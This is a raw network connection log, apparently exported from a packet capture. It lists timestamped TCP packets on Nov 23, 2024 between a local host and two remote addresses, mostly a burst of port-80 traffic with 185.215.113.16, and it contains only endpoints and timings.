Nov 23, 2024 15:37:28.392683983 CET	49728	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.392704964 CET	443	49728	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.392719984 CET	443	49728	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.395633936 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.396517038 CET	49733	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.396600962 CET	443	49733	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.396769047 CET	49733	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.397573948 CET	49734	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.397634029 CET	443	49734	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.397680044 CET	49734	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.401488066 CET	49733	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.401540041 CET	443	49733	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.401596069 CET	49734	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:28.401617050 CET	443	49734	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:28.526267052 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.526360989 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.526460886 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.526720047 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.526779890 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.526823044 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.527700901 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.527777910 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.528081894 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.528592110 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.528711081 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.528755903 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.529653072 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.529751062 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.529809952 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.530459881 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.530606031 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.531491995 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.531513929 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.531544924 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.531575918 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.532314062 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.532440901 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.532481909 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.533262014 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.533375978 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.533416033 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.534276962 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.534359932 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.535131931 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.535180092 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.535264015 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.536109924 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.536154032 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.536216974 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.536253929 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.537003994 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.537240028 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.537339926 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.537931919 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.538064003 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.538960934 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.539014101 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.539048910 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.539793968 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.539891005 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.539921045 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.539936066 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.540730000 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.540817976 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.541240931 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.541676998 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.541774988 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.541843891 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.542577028 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.542694092 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.542747021 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.543786049 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.543889999 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.544477940 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.544574976 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.544676065 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.545463085 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.545523882 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.545581102 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.546319008 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.546453953 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.547276020 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.547349930 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.547391891 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.548228025 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.548279047 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.548300982 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.548340082 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.549221039 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.549261093 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.549303055 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.550148010 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.550301075 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.550343990 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.551352024 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.551444054 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.552469969 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.552582026 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.552650928 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.553297997 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.553352118 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.553972960 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.554029942 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.554055929 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.555041075 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.555222988 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.555363894 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.556060076 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.556123018 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.556180000 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.556660891 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.556751966 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.557531118 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.557588100 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.557625055 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.558489084 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.558549881 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.558579922 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.558621883 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.559434891 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.559537888 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.559585094 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.560338020 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.560425043 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.560609102 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.561240911 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.561290026 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.562189102 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.562242031 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.562324047 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.563112974 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.563160896 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.563203096 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.563247919 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.564045906 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.564158916 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.564204931 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.565025091 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.565113068 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.565160990 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.565905094 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.566029072 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.566076994 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.566890001 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.566972017 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.567883968 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.567935944 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.568053961 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.568484068 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.568717957 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.568835020 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.568897963 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.569648027 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.569755077 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.570094109 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.570684910 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.570723057 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.570776939 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.571535110 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.571633101 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.571687937 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.572463989 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.572611094 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.572655916 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.573390007 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.573513985 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.573565006 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.574378014 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.574495077 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.574538946 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.575195074 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.621552944 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.718473911 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.718496084 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.718575001 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.718672037 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.718735933 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.718792915 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.719688892 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.719789982 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.719835997 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.720537901 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.720598936 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.721491098 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.721540928 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.721673965 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.722508907 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.722557068 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.722574949 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.722656965 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.723404884 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.723464966 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.723510027 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.724284887 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.724385023 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.724447966 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.725205898 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.725322962 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.726133108 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.726181984 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.726186991 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.727065086 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.727113962 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.727185011 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.727231026 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.728013992 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.728110075 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.728157043 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.728971004 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.729063988 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.729110956 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.729921103 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.730010986 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.731019974 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.731072903 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.731096029 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.731254101 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.731751919 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.731863976 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.731914997 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.732858896 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.732948065 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.733004093 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.733833075 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.733921051 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.734572887 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.734636068 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.734709024 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.735244036 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.735506058 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.735555887 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.735605955 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.736412048 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.736706972 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.737358093 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.737409115 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.737482071 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.738310099 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.738356113 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.738426924 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.738468885 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.739253998 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.739376068 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.740216017 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.740276098 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.740298986 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.741090059 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.741139889 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.741236925 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.741285086 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.742053986 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.742177010 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.742222071 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.742990017 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.743087053 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.743144035 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.743899107 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.744050026 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.744106054 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.744851112 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.744946003 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.744992971 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.745764017 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.745877981 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.746678114 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.746726990 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.746769905 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.747267008 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.747607946 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.747710943 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.748548985 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.748579979 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.748648882 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.749574900 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.749619961 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.749629021 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.749697924 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.750436068 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.750545979 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.750603914 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.751411915 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.751538038 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.751581907 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.752357960 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.752448082 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.752492905 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.753281116 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.753407001 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.754154921 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.754203081 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.754278898 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.755095959 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.755136013 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.755198956 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.755265951 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.756067038 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.756139040 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.756191015 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.756977081 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.757126093 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.757164001 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.758075953 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.758238077 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.758848906 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.758897066 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.758919954 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.759368896 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.759763956 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.759865999 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.759910107 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.760826111 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.760919094 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.760966063 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.761626959 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.761728048 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.762568951 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.762615919 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.762654066 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.763303041 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.763489008 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.763536930 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.763576984 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.764424086 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.764518976 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.764564037 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.765330076 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.765476942 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.766305923 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.766350985 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.766413927 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.767246962 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:28.767292023 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:28.824654102 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.004481077 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.018801928 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.124089956 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.124237061 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.124309063 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:29.124558926 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:29.124571085 CET	80	49724	185.215.113.16	192.168.2.5
